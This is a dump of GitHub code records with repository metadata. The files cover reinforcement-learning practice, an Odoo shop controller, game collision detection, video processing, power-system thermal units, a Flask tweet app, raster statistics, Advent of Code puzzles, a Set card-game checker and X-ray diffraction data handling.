#####\")\nprint(\"#######################\\n\")\n\nPi_opt = np.argmax(Q_opt, axis=1)\nprint(\"\\nAn optimal policy is:\\n\")\nprint_policy(Pi_opt)\n\n\n# Question 13\nprint(\"\\n#######################\")\nprint(\"##### Question 13 #####\")\nprint(\"#######################\\n\")\nprint(\"RENDER A TRAJECTORY\\n\")\n\n\n# render policy\ndef trajectory(pi, max_moves=100):\n done = False\n i = 0\n env.reset()\n cumulative_reward = 0\n discount = 1\n while not done and i < max_moves:\n i += 1\n _, r, done, _ = env.step(pi[env.s])\n cumulative_reward += discount*r\n discount *= GAMMA\n env.render()\n print('')\n return cumulative_reward\n\n\ncr = trajectory(Pi_opt)\nprint(\"\\nThe GOAL has been reached! Congrats! :-)\")\nprint(f\"The cumulative discounted reward along the above trajectory is: {cr:.3f}\\n\")\n\n","repo_name":"ArianeDlns/rl-practice","sub_path":"TD1_snowflake_policies/solution_ariane_dalens.py","file_name":"solution_ariane_dalens.py","file_ext":"py","file_size_in_byte":16856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"71670899546","text":"import json\n\nfrom odoo import http\nfrom odoo.addons.website_sale.controllers.main import WebsiteSale\nfrom odoo.http import request\n\nclass WebsiteSaleCustom(WebsiteSale):\n\n def _filter_custom_options(self, **kw):\n custom_options = {\n k.split('-')[2]: v for k,\n v in kw.items() if \"custom_options\" in k}\n custom_option_checkbox = {\n k: v for k, v in kw.items() if \"custom_option_checkbox\" in k}\n custom_option_multiple = {\n k: v for k, v in kw.items() if \"custom_option_multiple\" in k}\n for optionName in custom_option_multiple.keys():\n optionId = optionName.split('-')[2]\n selectedIds = request.httprequest.form.getlist(optionName)\n custom_options.update({optionId: selectedIds})\n for optionName, valueId in custom_option_checkbox.items():\n optionId = optionName.split('-')[2]\n inputData = custom_options.get(optionId, [])\n inputData += [valueId]\n custom_options.update({optionId: inputData})\n if kw.get(\"file_name\"):\n custom_options.update({\n \"file_name\":kw.get(\"file_name\")\n })\n return custom_options\n\n @http.route(\n ['/shop/cart/update'],\n type='http',\n auth=\"public\",\n methods=['POST'],\n website=True,\n csrf=False)\n def cart_update(self, product_id, add_qty=1, set_qty=0, **kw):\n sale_order = request.website.sale_get_order(force_create=True)\n if sale_order.state != 'draft':\n request.session['sale_order_id'] = None\n sale_order = request.website.sale_get_order(force_create=True)\n\n product_custom_attribute_values = None\n if kw.get('product_custom_attribute_values'):\n product_custom_attribute_values = json.loads(kw.get('product_custom_attribute_values'))\n request.env.context = dict(request.env.context, custom_options=self._filter_custom_options(**kw))\n return super(WebsiteSaleCustom, self).cart_update(product_id, add_qty, set_qty, **kw)\n","repo_name":"eqilibruim501/btemw-webkul-addons","sub_path":"website_custom_options/controllers/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"10169324569","text":"# coding: utf-8\n# Coding Skills: Kadai01\n\nfrom PIL import Image\n\n\n# データ読み込み\n# IN:\n# -str(d:改行区切りデータ)\n# OUT:\n# -[int(p)] = 自機データ,\n# -int(e_max) = 敵機数,\n# -[int(enms)] = 敵機データ\ndef initialize(d):\n\n data_list = d.split('\\n') # 改行区切り\n\n # 自機データ\n p = data_list.pop(0).split(' ') # スペース区切り\n p = [int(s) for s in p] # 整数型に変換\n\n # 敵機データ\n e_max = int(data_list.pop(0))\n enms = []\n for x in range(e_max):\n data = data_list[x].split(' ')\n data = [int(s) for s in data]\n enms.append(data)\n\n return p, e_max, enms\n\n\n# 位置取得\n# IN:\n# -p: 自機データ\n# -e: ターゲット敵機データ\n# OUT:\n# - center: 各機の中央座標\n# - distance: 矩形での非接触ボーダー\ndef calc_location(p, e):\n px, py, pw, ph = p\n ex, ey, ew, eh = e\n\n center = {\n 'px': px + pw / 2, 'py': py + ph / 2,\n 'ex': ex + ew / 2, 'ey': ey + eh / 2\n }\n\n distance = {\n 'x': pw / 2 + ew / 2,\n 'y': ph / 2 + eh / 2\n }\n return center, distance\n\n\n# 当たり判定\n# IN:\n# -p: 自機データ\n# -e: ターゲット敵機データ\n# RETURN:\n# -bool: 接触[True], 非接触[False]\n# USE:\n# -calc_location()\ndef judge(p, e):\n c, d = calc_location(p, e)\n if abs(c['px'] - c['ex']) < d['x']:\n if abs(c['py'] - c['ey']) < d['y']:\n return True\n return False\n\n\ndef pro_judge(p, e, pimg, eimg):\n if judge(p, e):\n c, d = calc_location(p, e)\n\n # Collision Range\n cr_x = d['x'] - abs(c['px'] - c['ex'])\n cr_y = d['y'] - abs(c['py'] - c['ey'])\n\n p_cr = {'sx': 0, 'sy': 0, 'ex': 0, 'ey': 0}\n e_cr = {'sx': 0, 'sy': 0, 'ex': 0, 'ey': 0}\n\n # Locate Range\n if c['px'] - c['ex'] < 0:\n p_cr['sx'] = c['px'] - cr_x\n e_cr['sx'] = 0\n else:\n p_cr['sx'] = 0\n e_cr['sx'] = c['ex'] - cr_x\n\n if c['py'] - c['ey'] < 0:\n p_cr['sy'] = c['py'] - cr_y\n e_cr['sy'] = 0\n else:\n p_cr['sy'] = 0\n e_cr['sy'] = c['ey'] - cr_y\n\n # Is Not Transparent pixel in Collision Range?\n flags = [False, False]\n for x in range(p_cr['sx'], p_cr['ex']):\n for y in range(p_cr['sy'], p_cr['ey']):\n # Player\n if pick_colors(pimg, p_cr['sx'] + x, p_cr['sy'] + y)[3] > 0:\n flags[0] = True\n\n for x in range(p_cr['sx'], p_cr['ex']):\n for y in range(p_cr['sy'], p_cr['ey']):\n # Enemy\n if pick_colors(eimg, e_cr['sx'] + x, e_cr['sy'] + y)[3] > 0:\n flags[0] = True\n\n print(p, c, d, p_cr, e_cr)\n if flags[0] and flags[1]:\n return True\n else:\n return False\n\n\n# 判定表示(警告)\n# IN:\n# -player: 自機データ\n# -enemy_max: 敵機数\n# -enemies: 敵機データ\n# OUT:\n# -None\n# USE:\n# -judge()\ndef alert(player, enemy_max, enemies):\n for i in range(enemy_max):\n if judge(player, enemies[i]):\n print('敵機 {} が当たり'.format(i + 1))\n\n\ndef load_image(path):\n # 透過したい画像を読み込み\n org = Image.open(path)\n width = org.size[0]\n height = org.size[1]\n\n return org, width, height\n\n\ndef pick_colors(img, x, y):\n pixel = img.getpixel((x, y))\n return pixel","repo_name":"Myageee/GameAlgorithm","sub_path":"Kadai01_CollisionDetection/Kadai01.py","file_name":"Kadai01.py","file_ext":"py","file_size_in_byte":3465,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"11904708031","text":"from email.mime import audio\r\nfrom PyQt6.QtCore import pyqtSignal\r\nfrom PyQt6.QtCore import QObject\r\nfrom PyQt6.QtCore import Qt\r\nfrom PyQt6.QtGui import QImage\r\nfrom PyQt6.QtWidgets import QGraphicsLineItem\r\nfrom PyQt6.QtGui import QPen\r\nfrom PyQt6.QtWidgets import QApplication\r\nimport cv2\r\nimport math\r\nimport win32com.client\r\nimport os.path\r\nimport ffmpeg\r\n\r\nsh = win32com.client.gencache.EnsureDispatch('Shell.Application', 0)\r\n\r\n# ===============================================================================\r\n# ProcessTools- A collection of methods for processing audio/video files\r\n# ===============================================================================\r\n\r\n\r\nclass ExtractImages(QObject):\r\n reelImage = pyqtSignal(QImage)\r\n fPath = None\r\n finished = pyqtSignal()\r\n\r\n def run(self):\r\n \"\"\"\r\n Extracts images from a video file and saves them to a folder.\r\n :param filePath: The path to the video file.\r\n :param outputPath: The path to the folder where the images will be saved.\r\n :param imageType: The type of image to extract.\r\n :return: imageArray\r\n \"\"\"\r\n capture = cv2.VideoCapture(self.fPath)\r\n # get equally spaced frames from the video\r\n frameCount = int(capture.get(cv2.CAP_PROP_FRAME_COUNT))\r\n fW = int(capture.get(cv2.CAP_PROP_FRAME_WIDTH))\r\n fH = int(capture.get(cv2.CAP_PROP_FRAME_HEIGHT))\r\n r = fW / fH\r\n if frameCount < 200:\r\n frameInterval = 1\r\n else:\r\n frameInterval = math.ceil(frameCount / 100)\r\n success, image = capture.read()\r\n count = 0\r\n displayed = 0\r\n while success:\r\n if count % frameInterval == 0 or count == 0:\r\n height, width, channel = image.shape\r\n bytesPerLine = 3 * width\r\n qImg = QImage(image.data, width, height,\r\n bytesPerLine, QImage.Format.Format_BGR888)\r\n self.reelImage.emit(qImg.scaled(r * 80, 80))\r\n displayed += 1\r\n success, image = capture.read()\r\n count += 1\r\n self.finished.emit()\r\n\r\n\r\ndef extractAudio(filePath):\r\n # XXX: would need to work on streaming or directory permissions here\r\n input = ffmpeg.input(filePath)\r\n folder, fileName = os.path.split(filePath)\r\n name = fileName.split(\".\")[0]\r\n audioPath = folder+\"/\" + name+\"_audio\" + \".wav\"\r\n output = ffmpeg.output(input.audio, audioPath)\r\n output.run(overwrite_output=True)\r\n return audioPath\r\n\r\n\r\ndef checkDuration(filePath):\r\n \"\"\"\r\n Checks the duration of a video file.\r\n :param filePath: The path to the video file.\r\n :return: duration\r\n \"\"\"\r\n # get the meta info for the selected video\r\n # file = Path(filePath)\r\n # ns = sh.NameSpace(str(file.parent))\r\n # item = ns.ParseName(str(file.name))\r\n # colnum = 0\r\n # columns = []\r\n # while True:\r\n # colname = ns.GetDetailsOf(None, colnum)\r\n # if not colname:\r\n # break\r\n # columns.append(colname)\r\n # colnum += 1\r\n # metaData = {}\r\n\r\n # for colnum in range(len(columns)):\r\n # colval = ns.GetDetailsOf(item, colnum)\r\n # if colval:\r\n # metaData[columns[colnum].lower()] = colval\r\n # # length or duration of the video\r\n # duration = metaData.get('length') or metaData.get('duration')\r\n # return duration\r\n capture = cv2.VideoCapture(filePath)\r\n frameCount = capture.get(cv2.CAP_PROP_FRAME_COUNT)\r\n frameRate = capture.get(cv2.CAP_PROP_FPS)\r\n dur = frameCount/frameRate\r\n return round(dur, 3)\r\n\r\n# find duration of the audio file using wave module\r\n\r\n\r\ndef checkDurationAudio(filePath):\r\n \"\"\"\r\n Checks the duration of a audio file.\r\n :param filePath: The path to the audio file.\r\n :return: duration\r\n \"\"\"\r\n import wave\r\n raw = wave.open(filePath)\r\n f_rate = raw.getframerate()\r\n f_length = raw.getnframes() / f_rate\r\n return round(f_length, 3)\r\n\r\n\r\n# ===============================================================================\r\n# SelectionLine- Inherited QGraphicsLineItem for selection movement\r\n# ===============================================================================\r\nclass SelectionLine(QGraphicsLineItem):\r\n updateHighlight = pyqtSignal()\r\n\r\n def __init__(self, *args, **kwargs):\r\n super().__init__(*args, **kwargs)\r\n self.setPen(QPen(Qt.GlobalColor.red, 3))\r\n self.setFlags(\r\n self.GraphicsItemFlag.ItemSendsScenePositionChanges)\r\n self.setAcceptHoverEvents(True)\r\n\r\n def itemChange(self, change, value):\r\n if change == self.GraphicsItemChange.ItemPositionChange:\r\n # restrict vertical movement\r\n value.setY(0)\r\n return super().itemChange(change, value)\r\n\r\n def hoverEnterEvent(self, event):\r\n QApplication.setOverrideCursor(Qt.CursorShape.SizeHorCursor)\r\n return super().hoverEnterEvent(event)\r\n\r\n def hoverLeaveEvent(self, event):\r\n QApplication.restoreOverrideCursor()\r\n return super().hoverLeaveEvent(event)\r\n","repo_name":"smitkpatel16/VidEditor","sub_path":"processTools.py","file_name":"processTools.py","file_ext":"py","file_size_in_byte":5108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"17242744036","text":"list_1 = [1, 2, 3, 44, 5, 6, ]\nlist_2 = []\nlist_3 = []\nx = 0\nfor el in list_1:\n list_2.append((el * 2))\nprint(list_2)\nwhile x < len(list_1):\n list_3.append((list_1[x] * 2))\n x += 1\nprint(list_3)","repo_name":"AlexandrSech/Z49-TMS","sub_path":"students/Eliseev/TMS/HomeWork-4/Task-1.py","file_name":"Task-1.py","file_ext":"py","file_size_in_byte":203,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"2882684846","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@author: Colonetti\n\"\"\"\n\ndef get_eq_units(thermals):\n '''Get equivalent units and their respective plants'''\n EQ_UNITS = [g for g in thermals.UNIT_NAME if thermals.EQ_UNIT[g]]\n\n CC_PLANTS = []\n for g in EQ_UNITS:\n if thermals.PLANT_ID[g] not in CC_PLANTS:\n CC_PLANTS.append(thermals.PLANT_ID[g])\n\n EQ_UNITS_OF_PLANTS = {cc_p: [] for cc_p in CC_PLANTS}\n for g in EQ_UNITS:\n for c_i in range(len(CC_PLANTS)):\n if thermals.PLANT_ID[g] == CC_PLANTS[c_i]:\n EQ_UNITS_OF_PLANTS[CC_PLANTS[c_i]].append(g)\n break\n return(CC_PLANTS, EQ_UNITS_OF_PLANTS)\n\nclass Thermals:\n '''Class of thermal units'''\n def __init__(self):\n self.setup()\n\n def setup(self):\n '''Initialize the attributes'''\n\n # the keys of the unit dictionaries are the plant id and the unit id (plant id, unit id)\n self.UNIT_NAME = {}\n self.UNIT_ID = {}\n\n self.PLANT_NAME, self.PLANT_ID = {}, {}\n\n self.MIN_P, self.MAX_P = {}, {} # power limits\n\n self.GEN_COST = {} # unitary cost in $/(p.u.) for a 30-min period\n # constant cost if unit is operating, start-up cost, shut-down cost\n self.CONST_COST, self.STUP_COST, self.STDW_COST = {}, {}, {}\n\n self.RAMP_UP, self.RAMP_DOWN = {}, {} # ramps\n\n self.MIN_UP, self.MIN_DOWN = {}, {} # minimum times\n\n self.BUS = {} # bus the unit is connected to\n\n # Previous state\n self.STATE_0 = {}\n self.TG_0 = {}\n self.HOURS_IN_PREVIOUS_STATE = {}\n\n self.STUP_TRAJ = {} # power steps in the start-up trajectory\n self.STDW_TRAJ = {} # power steps in the shut-down trajectory\n\n self.EQ_UNIT = {} # flag that indicates whether the unit is real or it is a\n # equivalent unit\n\n self.REAL_UNITS_IN_EQ = {} # list of real units that compose the equivalent unit. if the\n # unit is real, then this list is empty\n\n self.TRANS_RAMP = {} # transition ramp between equivalent units in combined-cycle\n # operations\n\n return()\n\n def add_new_unit(self, row, header, params):\n '''Add a new thermal unit'''\n\n P_ID = int(row[header[\"Plant\\'s ID\"]]) # plant id\n U_ID = int(row[header[\"Unit's ID\"]]) # unit id\n\n self.UNIT_NAME[(P_ID, U_ID)] = row[header[\"Plant's Name\"]].strip() + '-G-' + str(U_ID)\n self.UNIT_ID[(P_ID, U_ID)] = U_ID\n self.PLANT_NAME[(P_ID, U_ID)] = row[header[\"Plant's Name\"]].strip()\n self.PLANT_ID[(P_ID, U_ID)] = int(row[header[\"Plant\\'s ID\"]])\n self.MIN_P[(P_ID, U_ID)] = float(row[header['Minimum power output (MW)']])/params.POWER_BASE\n self.MAX_P[(P_ID, U_ID)] = float(row[header['Maximum power output (MW)']])/params.POWER_BASE\n\n self.RAMP_UP[(P_ID,U_ID)]=(params.DISCRETIZATION*float(row[header[\"Ramp-up limit (MW/h)\"]])/\n params.POWER_BASE)\n self.RAMP_DOWN[(P_ID, U_ID)] = (params.DISCRETIZATION*\n float(row[header[\"Ramp-down limit (MW/h)\"]])/params.POWER_BASE)\n\n self.MIN_UP[(P_ID, U_ID)] = int(row[header[\"Minimum up-time (h)\"]])\n self.MIN_DOWN[(P_ID, U_ID)] = int(row[header[\"Minimum down-time (h)\"]])\n self.BUS[(P_ID, U_ID)] = int(row[header['Bus']])\n\n self.GEN_COST[(P_ID, U_ID)] = 0.000\n self.CONST_COST[(P_ID, U_ID)] = float(row[header[\"Constant cost ($)\"]])*params.SCAL_OBJ_FUNC\n self.STUP_COST[(P_ID, U_ID)] = float(row[header[\"Start-up cost ($)\"]])*params.SCAL_OBJ_FUNC\n self.STDW_COST[(P_ID, U_ID)] = float(row[header[\"Shut-down cost ($)\"]])*params.SCAL_OBJ_FUNC\n\n self.STATE_0[(P_ID, U_ID)] = 0\n self.TG_0[(P_ID, U_ID)] = 0.000\n self.HOURS_IN_PREVIOUS_STATE[(P_ID, U_ID)] = 0\n\n self.STUP_TRAJ[(P_ID, U_ID)] = []\n self.STDW_TRAJ[(P_ID, U_ID)] = []\n\n self.EQ_UNIT[(P_ID, U_ID)] = False\n\n self.REAL_UNITS_IN_EQ[(P_ID, U_ID)] = []\n\n self.TRANS_RAMP[(P_ID, U_ID)] = 99999/params.POWER_BASE\n\n return()\n","repo_name":"colonetti/bruc","sub_path":"src/thermal_model/thermals.py","file_name":"thermals.py","file_ext":"py","file_size_in_byte":4280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"37582350603","text":"# IMPORT MODULES ******************************************\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os, glob\nfrom scipy import stats\n\n# DEFINE FUNCTIONS ****************************************\n# working directory\nwd = \"D:\\\\GISdata\\\\UVM_Temp\\\\\"\nos.chdir(os.path.join(wd,\"Python_scripts\"))\nfrom arcpy_Functions import *\n\n# GLOBAL VARIABLES ****************************************\nNRCSids = [0,1,2,3,4,5,10,12,13,14,15,16,17,18,20,21,22,24,25,39,40,41,42,43,44,45,46,47,48,49,51,52,57]\n# initialize global variables\ninpath = os.path.join(wd,\"maskeddata\") #input file dir\nos.chdir(inpath) # set working directory to data folder\nfilenames = glob.glob('51*tif') # filder wd for tifs\n\n# MAIN PROGRAM*********************************************\nfor i in NRCSids[:1]:\n\tfilenames = glob.glob(str(i)+'*NAIP*tif')\n\ttemplate = str(i)+\"_lidardem_adf\"\n\t# warp data to match the intersection of files and use minimum resolution of files, use spatial reference of template\n\t#ds_list = warplib.memwarp_multi_fn(filenames, extent='intersection', res='min', t_srs=template)\n\t#get numpy masked array from raster files\n\tmaskedarrays = [rasterioMaskedArray(f) for f in filenames]\n\tflatarrays = [ma.x.flatten(ma) for x in maskedarrays]\n\t#https://docs.scipy.org/doc/numpy/reference/maskedarray.generic.html#data-with-a-given-value-representing-missing-data\n\t#store descriptions of maskedarrays \n\tarraystats = [scipy.stats.mstats.describe(ma) for ma in maskedarrays]\n\t#https://docs.scipy.org/doc/scipy/reference/stats.mstats.html\n\t#plotRasterPanel(filenames)\n\tfor j in range(len(maskedarrays)):\n\t\tprint(i,filenames[j],'min',np.ma.median(maskedarrays[j]))\n\t#https://docs.scipy.org/doc/numpy/reference/routines.ma.html#masked-arrays-arithmetics\n\tstatsdict=[{'min':np.ma.min(j),'max':np.ma.max(j),'median':np.ma.median(j),'variance':np.ma.var(j)}]\n\t\n\t\n\n\t\t\n\n","repo_name":"arhwiegman/SpatialTools","sub_path":"python_scripts/plotRasters.py","file_name":"plotRasters.py","file_ext":"py","file_size_in_byte":1849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"10815317392","text":"\ndef parse():\n with open('input.txt', 'r') as f:\n lines = f.readlines()\n for i in range(len(lines)):\n lines[i] = lines[i].rstrip().replace(' ', '')\n #print(lines[i])\n\n return lines\n\ndef line_to_array(line):\n eq = []\n val = ''\n\n # Iterate through line - add numbers and symbols to array\n for x in line:\n if x.isnumeric():\n val += x\n else:\n if val:\n eq.append(int(val))\n val = ''\n eq.append(x)\n if val:\n eq.append(int(val))\n \n return eq\n\n# Evaluate a line that doesn't have parentheses\ndef simple_eval(eq, mode):\n if mode == 0:\n # Start with first number\n val = eq[0]\n\n # Iterate through lines and get operation and value\n for i in range(2, len(eq), 2):\n if eq[i-1] == '*':\n val *= eq[i]\n elif eq[i-1] == '+':\n val += eq[i]\n else:\n print('wtf do i do with this: ', eq[i-1])\n if mode == 1:\n plus = True\n while plus:\n plus = False\n for i in range(2, len(eq), 2):\n print(eq)\n if eq[i-1] == '+':\n plus = True\n val = eq[i-2] + eq[i]\n eq.insert(i+1, val)\n eq.pop(i-2)\n eq.pop(i-2)\n eq.pop(i-2)\n break\n \n\n val = simple_eval(eq, 0)\n\n '''\n for i in range(2, len(eq), 2):\n print(eq[i-2], eq[i-1], eq[i])\n if eq[i-1] == '*':\n val = eq[i-2] * eq[i]\n eq.insert(i+1, val)\n eq.pop(i-2)\n eq.pop(i-2)\n eq.pop(i-2)\n '''\n\n return val\n\n# Function to extract simple expressions that don't have parentheses\ndef get_simple(line, mode):\n opn = 0\n close = 0\n \n eq = []\n new_eq = []\n\n for x in line:\n if not opn:\n if x != '(' and x != ')':\n new_eq.append(x)\n\n if x == ')':\n close += 1\n\n if opn and close and (opn-close)==0:\n if '(' in eq:\n #print('Simplify: ', eq)\n l = get_simple(eq, mode)\n #for l in lin:\n # new_eq.append(l)\n else:\n # No parentheses - evaluate equation to get number\n #print('Simplified: ', eq)\n l = simple_eval(eq, mode)\n new_eq.append(l)\n eq = []\n opn = 0\n close = 0\n\n if opn:\n eq.append(x)\n if x == '(':\n opn += 1\n\n\n #print('simple eq: ', new_eq)\n new_eq = simple_eval(new_eq, mode)\n #print('ret: ', new_eq)\n return new_eq\n\n\ndef part1(lines):\n total = 0\n for line in lines:\n line = line_to_array(line)\n val = get_simple(line, mode=0)\n total += val\n print(total)\n\ndef part2(lines):\n total = 0\n for line in lines:\n line = line_to_array(line)\n val = get_simple(line, mode=1)\n total += val\n print(total)\n\nlines = parse()\n\npart1(lines)\n\npart2(lines)\n\n\n\n\n","repo_name":"mglapa/AOC","sub_path":"2020/day18/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":3194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"4761945647","text":"# Sets is a matching game, played with a special deck of cards. Each\n# card in the deck has a pictogram on it.\n#\n# Each pictogram has four properties; each property has three choices:\n#\n# - Shape (pill/diamond/squiggle)\n# - Number (1/2/3)\n# - Color (red/green/purple)\n# - Fill (solid/open/hatch)\n#\n# The deck is made up of one card with each possible combination of\n# properties. No two cards are exactly the same.\n#\n# The objective of the game is to find sets of three cards which\n# form a \"set\". A set is formed when ALL of the following are true\n# about a group of three cards:\n#\n# - They all have the same number or have three different numbers.\n# - They all have the same shape or have three different shapes.\n# - They all have the same fill or have three different fills.\n# - They all have the same color or have three different colors.\n#\n# Here's an example\n# https://d2r55xnwy6nx47.cloudfront.net/uploads/2016/05/SETPoint_2000.png\n# https://mrrgteacher.files.wordpress.com/2011/12/sets_examples1-1024x586.png\n\n# different properties a card can have\nPROPERTIES = {\n 'shape': ['Pill', 'Diamond', 'Squiggle'],\n 'number': [1, 2, 3],\n 'color': ['Red', 'Green', 'Purple'],\n 'fill': ['Solid', 'Open', 'Hatch'],\n}\n\n# example of a card instance\nmy_card = {\n 'shape': 'Pill',\n 'number': 2,\n 'color': 'Purple',\n 'fill': 'Solid',\n}\n\n\n# 1, 2, 3\n# \"purple\", \"purple\", \"blue\"\ndef is_valid(properties):\n unique_values = len(set(properties))\n return unique_values == 1 or unique_values == 3\n\n\ndef is_set(cards):\n for prop in PROPERTIES:\n if not is_valid([cards[0][prop], cards[1][prop], cards[2][prop]]):\n return False\n\n return True\n\n # number_valid = is_valid([cards[0][\"number\"], cards[1][\"number\"], cards[2][\"number\"]])\n # return number_valid\n\n # [{'shape': 'Pill', 'number': 3, 'color': 'Red', 'fill': 'Solid'}, {'shape': 'Diamond', 'number': 2, 'color': 'Green', 'fill': 'Hatch'}, {'shape': 'Squiggle', 'number': 1, 'color': 'Purple', 'fill': 'Open'}]\n # set_one = cards[0]\n # set_two = cards[1]\n # set_three = cards[2]\n\n # if set_one == set_two:\n # if set_two == set_three:\n # if set_one == set_three:\n # passed = True\n\n # if len((set(set_one.values()) - set(set_two.values()))) == 3:\n # if len((set(set_one.values()) - set(set_three.values()))) == 3:\n # if len((set(set_two.values()) - set(set_three.values()))) == 3:\n # passed = True\n\n # list_two = set_two.values()\n # list_three = set_three.values()\n\n # print(number)\n # if not number == set_two['number'] and not number == set_three['number']:\n # passed = False\n # if not shape == set_two['shape'] and not shape == set_three['shape']:\n # passed = False\n # if not shape == set_two['shape'] and not shape == set_three['shape']:\n # passed = False\n # print(passed)\n # return passed\n\n\nif __name__ == '__main__':\n # valid\n # ['Pill', 3, 'Red', 'Solid']\n # ['Diamond', 2, 'Green', 'Hatch']\n # ['Squiggle', 1, 'Purple', 'Open']\n card1 = {\n 'shape': 'Pill',\n 'number': 3,\n 'color': 'Red',\n 'fill': 'Solid',\n }\n card2 = {\n 'shape': 'Diamond',\n 'number': 2,\n 'color': 'Green',\n 'fill': 'Hatch',\n }\n card3 = {\n 'shape': 'Squiggle',\n 'number': 1,\n 'color': 'Purple',\n 'fill': 'Open',\n }\n\n # valid\n # ['Pill', 2, 'Green', 'Open']\n # ['Diamond', 2, 'Green', 'Hatch']\n # ['Squiggle', 2, 'Green', 'Solid']\n card4 = {\n 'shape': 'Pill',\n 'number': 2,\n 'color': 'Green',\n 'fill': 'Open',\n }\n card5 = {\n 'shape': 'Diamond',\n 'number': 2,\n 'color': 'Green',\n 'fill': 'Hatch',\n }\n card6 = {\n 'shape': 'Squiggle',\n 'number': 2,\n 'color': 'Green',\n 'fill': 'Solid',\n }\n\n # not valid\n # ['Pill', 2, 'Green', 'Solid']\n # ['Diamond', 2, 'Green', 'Hatch']\n # ['Squiggle', 2, 'Green', 'Solid']\n card7 = {\n 'shape': 'Pill',\n 'number': 2,\n 'color': 'Green',\n 'fill': 'Solid',\n }\n card8 = {\n 'shape': 'Diamond',\n 'number': 2,\n 'color': 'Green',\n 'fill': 'Hatch',\n }\n card9 = {\n 'shape': 'Squiggle',\n 'number': 2,\n 'color': 'Green',\n 'fill': 'Solid',\n }\n\n print(is_set([card1, card2, card3]), True)\n print(is_set([card4, card5, card6]), True)\n print(is_set([card7, card8, card9]), False)\n","repo_name":"reisthi/hackerrank","sub_path":"set_machine_game.py","file_name":"set_machine_game.py","file_ext":"py","file_size_in_byte":4561,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"21844072516","text":"from flask import render_template, request, redirect, url_for, current_app, Response\nfrom app import app, redis_server\nfrom forms import TweetForm\n#from tweetings import Tweet\n#from retrieve import Retrieve\n#from google.appengine.ext import db\n#from google.appengine.api import images\nimport datetime\n#from tweetdisplay import TweetDisplay\n\n#default post id in redis \nID_DEF = 1000 \n\n@app.route('/id', methods=['GET'])\ndef getTweetId():\n temp=redis_server.get(\"tweet_id\")\n #if tweet_id is null in redis, means the user never tweets\n if temp is None:\n #setting the initial tweet id on redis\n redis_server.set(\"tweet_id\", ID_DEF)\n tweet_id=ID_DEF\n else:\n tweet_id=redis_server.incr(\"tweet_id\",1)\n return tweet_id\n\n@app.route('/', methods=['GET', 'POST'])\n@app.route('/index', methods=['GET', 'POST'])\ndef index():\n\tform = TweetForm(request.form)\n\t#tweetmaster = Tweet(key_name='tm')\n\t#t = Tweet(parent=tweetmaster)\n\n\tif request.method=='POST' and form.validate():\n\t\ttweet_id = \"post:\" + str(getTweetId())\n\t\tcontent = request.form['tweet']\n\t\tdate = datetime.datetime.now()\n\t\ttweet = {'content': content, 'date': str(date)}\n\t\tredis_server.hmset(tweet_id, tweet)\n\t\tredis_server.save()\n\t\treturn redirect(url_for('index'))\n\t\t\n\tretrieve = []\n\tlistOfPostKeys = redis_server.keys('post:*')\n\tfor keys in listOfPostKeys:\n\t\tcontentOfTweet=redis_server.hgetall(keys)\n\t\tretrieve.append(contentOfTweet)\n\tphoto_url = {}\n\tdisplay = []\n\treturn render_template(\"index.html\", form=form, retrieve=retrieve)\n\t\n@app.route('/show/', methods=[\"GET\"])\ndef show(key):\n\tphoto = db.get(key)\n\tif not photo:\n\t\treturn \"\"\n\telse:\n\t\tmimetype=\"image/png\"\n\t\treturn Response(photo.image, mimetype=mimetype)\n\n\n\t\n","repo_name":"saskyong/CoTwitter","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1720,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"16260582082","text":"\"\"\"\nCreated 19. January 2023 by Daniel Van Opdenbosch, Technical University of Munich\n\nThis program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. It is distributed without any warranty or implied warranty of merchantability or fitness for a particular purpose. See the GNU general public license for more details: \n\"\"\"\n\nimport numpy\nimport pandas\nimport os\nimport glob\nimport pickle\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\n\nfilenamelist,phaselist,XrayDensity_collect,lata_collect,latb_collect,latc_collect,GrainSize100_collect,GrainSize010_collect,GrainSize001_collect,MicroStrain100_collect,MicroStrain010_collect,MicroStrain001_collect,Textur100_collect,Textur010_collect,Textur001_collect,TDS100_collect,TDS010_collect,TDS001_collect,Gewicht_collect,xc_collect,k_collect,J_collect=pickle.load(open('alle.pic','rb'))\n\nTextsum=numpy.array(Textur100_collect)+numpy.array(Textur010_collect)+numpy.array(Textur001_collect)\nTextur100_collect/=Textsum;Textur010_collect/=Textsum;Textur001_collect/=Textsum\n\nBnmtokAA=numpy.array([100/4])\nTDS100_collect*=BnmtokAA;TDS010_collect*=BnmtokAA;TDS001_collect*=BnmtokAA\n\nnames=['XrayDensity_collect','lata_collect','latb_collect','latc_collect','GrainSize100_collect','GrainSize010_collect','GrainSize001_collect','MicroStrain100_collect','MicroStrain010_collect','MicroStrain001_collect','Textur100_collect','Textur010_collect','Textur001_collect','TDS100_collect','TDS010_collect','TDS001_collect','Gewicht_collect','xc_collect','k_collect','J_collect']\n\ndata=[XrayDensity_collect,lata_collect,latb_collect,latc_collect,GrainSize100_collect,GrainSize010_collect,GrainSize001_collect,MicroStrain100_collect,MicroStrain010_collect,MicroStrain001_collect,Textur100_collect,Textur010_collect,Textur001_collect,TDS100_collect,TDS010_collect,TDS001_collect,Gewicht_collect,xc_collect,k_co